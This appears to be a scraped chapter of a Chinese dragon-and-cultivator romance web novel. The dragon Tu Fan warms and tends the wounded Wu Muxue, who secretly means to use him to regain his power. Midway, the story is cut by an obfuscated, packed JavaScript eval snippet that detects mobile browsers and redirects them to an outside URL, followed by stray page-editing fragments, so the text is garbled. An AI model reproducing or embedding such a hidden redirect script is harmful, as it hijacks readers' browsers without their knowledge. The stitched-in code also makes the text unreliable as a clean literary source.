千潭渊上方被湿冷粘稠的浓雾覆盖,无论日光还是月光都照不进来。
白天周围光线昏暗,温度还算适宜,可到了晚上,这里温度急剧下降,刺骨的寒冷肆意侵袭,令人极其不适。
洞府内,邬暮雪披着屠梵临时处理出的兽皮,紧凑在升起的火堆旁,才稍稍驱散寒意、令身体添上点暖意。
他身上披着的是张白虎皮,皮毛顺滑柔软,衬得那张本就艳丽好看的脸在火光映照下,愈发美艳动人。
屠梵坐在对面,一双金色瞳眸直勾勾盯着他,哪怕努力克制,仍压不住心底翻涌的渴望。
龙本就贪色重欲,何况坐在他面前的还是这么个大美人,完美贴合他的癖好。
他心中似燃着熊熊烈火,压不住扑不灭,烧得整个人都口干舌燥、坐立难安。
再这么待下去,屠梵真怕自己一时忍不住,扑上去吃了对方。
“我出去一趟。”他声音粗哑道。
话落没等邬暮雪应声,已经急不可耐走了出去,身影化为龙形扇动翅膀消失在沉沉夜色中。
火堆旁,邬暮雪白皙修长的手拿着木棍拨弄柴火,目送屠梵走远,这才收回视线。
他神色淡淡,唇角勾起抹讽刺的笑。
心道过不了多久,自己的目的应该就能达到了。
本以为恶龙凶残可怕,自己此行必定凶多吉少,哪知他还没付诸行动,就先被恶龙盯上了。
知道恶龙定忍耐不了多久,邬暮雪想着这样也好,早日缔结契约、恢复修为,他也能早日出去救司渊、给爹娘、同门们报仇雪恨。
屠梵化龙形飞上千潭渊最高的山巅,在那吹了近两个时辰的冷风,确定欲望都消退了,这才鬼鬼祟祟回到洞府。
心想自己生出过那么多邪恶念头的事,可千万不能让邬暮雪知道了。
他那么纯洁弱小,一定会被吓到的。
他轻手轻脚走进洞府,见柴火不知何时燃尽了,只剩丁点火光还在挣扎跳跃,却提供不了半点温度。
洞府内温度也随之骤降,饶是屠梵也感觉到刺骨的寒意。
他暗道糟糕,连忙冲到邬暮雪身旁,将蜷缩在兽皮上不断瑟瑟发抖的人抱进怀里暖着。
火不知熄了多久,邬暮雪浑身冰冷,没有半点温度,像刚从冰窖里抱出来的一样。
他眉毛、头发结了层霜,嘴唇青紫,不断呢喃着“冷”“好冷”,边往屠梵怀里使劲缩,想要汲取更多的热量。
屠梵抱紧怀里人,看着他这幅脆弱可怜的模样,满心都是自责心疼。
他方才若是不离开,对方也不会变成这幅模样。
都怪自己,明知道身为人类的他柔弱不堪,怎么能将其一个人留在这儿。
屠梵抱紧邬暮雪,往燃尽的火堆里添了些新柴,注入龙焰,等其旺盛燃烧起来,这才松了口气。
邬暮雪被冻僵的身体迟迟没法回暖,屠梵满心担忧,怕他万一被冻死了怎么办。
他一头龙活了这么多年,好不容易遇见心仪的配偶,对方要是死了,他会很难过很难过的。
屠梵越想越慌,为更大程度给予邬暮雪温暖,索性直接化出龙形,将他整个人都圈在怀里。
洞府内火苗越燃越旺,化成龙的屠梵身形巨大,跟怀里小巧玲珑的人类形成强烈反差。
人类弱小可怜,明明一爪子就能拍死,他动作却小心翼翼,生怕一不小心翻身将对方压扁了。
更时不时俯低头颅看一眼,确定掩在翅膀下的人类还有呼吸,才稍稍放松下来。
如此不知过了多久,龙滚烫的身体令邬暮雪渐渐暖和起来,最后甚至被热醒,出了一身汗水。
他睁开眼,浑身上下湿漉漉的,身上衣袍更能拧出水来。
醒的那刻,邬暮雪连打量周围的功夫都没有,第一件事是费劲地抬起手,意图将压在身上的不知名物体推开。
恶龙翅膀只是被子似地轻轻覆盖在他身上,可对修为尽失的人类而言,这也是难以承受的负担。
他被压得都快喘不过气来了。
以邬暮雪的力气,自是推不开硕大沉重的翅膀,好在屠梵及时察觉,将翅膀顺势挪开了。
翅膀挪开,眼前视野瞬间变大,待看清自己身在何处时,邬暮雪心中一惊,当龙俯低巨大的头颅看着自己时,更是倒吸了口凉气。
他并非第一次与龙对视,但这种坐在对方身上被居高临下俯视的感觉,还是让人心惊肉跳。
实在是对比太强烈了,在这种可怕的情景下,他甚至没办法生出半点反抗的念头。
像是猜到邬暮雪害怕自己,屠梵抬起腿,将尖利的爪子送到对方面前。
“抱紧,我送你下去。”
因为之前的事,他不敢直接去抓邬暮雪,怕对方再不小心晕过去,哪怕自己动作已经尽最大可能放轻。
邬暮雪了然,手紧抱着眼前利爪,脚也踩了上去,由屠梵将自己送回地面。
做完这些,屠梵当即化作人形。
邬暮雪踩着平坦地面,不由安心多了。
“你、你没事吧?”屠梵第一反应是解释当下的状况,“昨晚我回来时,你整个人都冻僵了,我是怕你有事,才化龙帮你暖和身体的。”
顿了顿,又满心忐忑问:“你是……被吓到了吗?”
作为自己认定的准配偶,龙当然不希望自己原形被嫌弃。
在他眼里,体型高大的自己是很俊美威猛的,他期待未来配偶也能同样这么觉得。
邬暮雪脑海涌现出恶龙的身影,并诡异地沉默了数秒。
在屠梵紧张得呼吸窒住之际,忽地粲然一笑,摇头道:“怎么会,你长得又不可怕,我只是一时没反应过来。”
屠梵闻言满心欢喜:“那你喜欢我的龙形吗?”
邬暮雪垂眸,小幅度点了点头。
屠梵看着心上人羞赧的模样,激动又兴奋,整个龙都晕乎乎的。
邬暮雪喜欢他的龙形,四舍五入不就等同喜欢他?
怕自己亢奋过头,他连忙镇定下来,想起什么,问道:“对了,昨晚柴火就在旁边,你怎么不往里添?我要是没回来,情况多危险啊。”
他都不敢往那方面去设想。
邬暮雪自知理亏,解释道:“我当时太累,不小心睡着了。”
屠梵看着他因失血过多而无比苍白脆弱的脸庞,心瞬间软了下来。
自责道都怪自己,明知道邬暮雪受了伤,很累很困,怎么能突然离开。
心上人能有什么错?一切肯定都是自己的错!
“是我疏忽了。”他一脸认真保证道,“你放心,以后不会再发生这种事,我会保护好你的。”
邬暮雪惊讶抬头,满脸感动道:“谢谢。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638135|188104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
屠梵“嘿嘿”一笑,挠了挠头,还怪不好意思的。
一番耽搁下来,夜已经很深了。
屠梵让邬暮雪去休息,自己则守在火堆旁,以防火突然熄掉。
邬暮雪却站在原地没有离开,犹豫半晌,鼓起勇气开口问道:“你是不是受伤了?”
屠梵微愣:“你怎么知道?”
“我踩着你下来时,听你‘嘶’了一声,我想应该是不小心踩到痛处了。”
屠梵面露惊讶,没想到邬暮雪会这么关注自己。
旋即一脸无所谓道:“我没事,一点小伤而已,很快自己就会好,不用管它。”
邬暮雪却没打算放过这个问题,继续追问:“是救我的时候受的伤吗?”
伤的确是救邬暮雪的时候受的,在这之前,屠梵还没从阵法内带过活人出来,因此低估了阵法。
最后为带走邬暮雪,他不得不摧毁阵法,伤也是那个时候留下的。
事实如此,屠梵没法否认,点头应了声“是”。
邬暮雪神情复杂,看着屠梵似有很多话要说,最终千言万语化为一句:“我帮你上药。”
他语气着急,说完就要去扒屠梵衣服。
屠梵不得不重复解释:“你别担心,我真的没事,不过一点小伤,我根本没放心上,更用不着上什么药。”
邬暮雪紧抓着屠梵衣服不放,语气中的焦急不减反增:“什么叫一点小伤,不用上药?我知道你很强,但能让你感觉到痛的,伤得肯定也不轻。你是因为我才受的伤,我必须对你负责,何况要不是你,我当时早死了。我不管你之前受伤是怎么处置的,现在我在这,就不许你这么对自己。你要是执意不让我上药,我现在就离开,眼不见心不烦。”
他话落作势要往外走。
屠梵被说得愣在原地,心头涌上陌生却无比美妙的情绪。
他慢半拍反应过来,原来这就是被人关心的感觉吗?自己还是第一次体验,真的很不可思议。
他连忙拦住邬暮雪:“你别生气,我知道错了。我让你上药,你想做什么都行,好吗?”
语气是从未有过的放任和纵容。
邬暮雪闻言神色这才缓和,过去端起屠梵之前给自己准备的药,又让他脱下衣服好方便上药。
屠梵脱掉上衣,在一旁石凳上坐下。
邬暮雪站在他身后,白皙的手挖起黑乎乎的药,小心涂抹在对方背部的伤口上。
屠梵没说谎,他伤得的确不重,背上那道伤口已微微结痂,哪怕不涂药也很快能够痊愈。
邬暮雪心无旁骛专心上药,为帮助伤口尽快吸收,指腹还画着圈涂抹,间或轻轻拍打几下。
殊不知于屠梵而言,这却是莫大的煎熬和折磨。
心上人指腹太软了,在他背上肆意摸来摸去时,他之前好不容易压下去的火重新被点燃,且烧得比之前更烈更可怕。
屠梵身体绷紧,手紧攥成拳,想借此遏制心中翻涌的强烈渴望。
然而那一直在身上游走的手总能再度挑起亢奋情绪,令他整个人被无边烈焰包裹,不仅口干舌燥、脸色胀红,身上某处更膨胀得似要爆炸一般。
不知强忍了多久,屠梵逐渐趋于弱势的理智终究被本能淹没。
他双眸赤红,急不可耐转身一把扑倒邬暮雪,表情凶恶贪婪,像要狠狠将他一口吞了。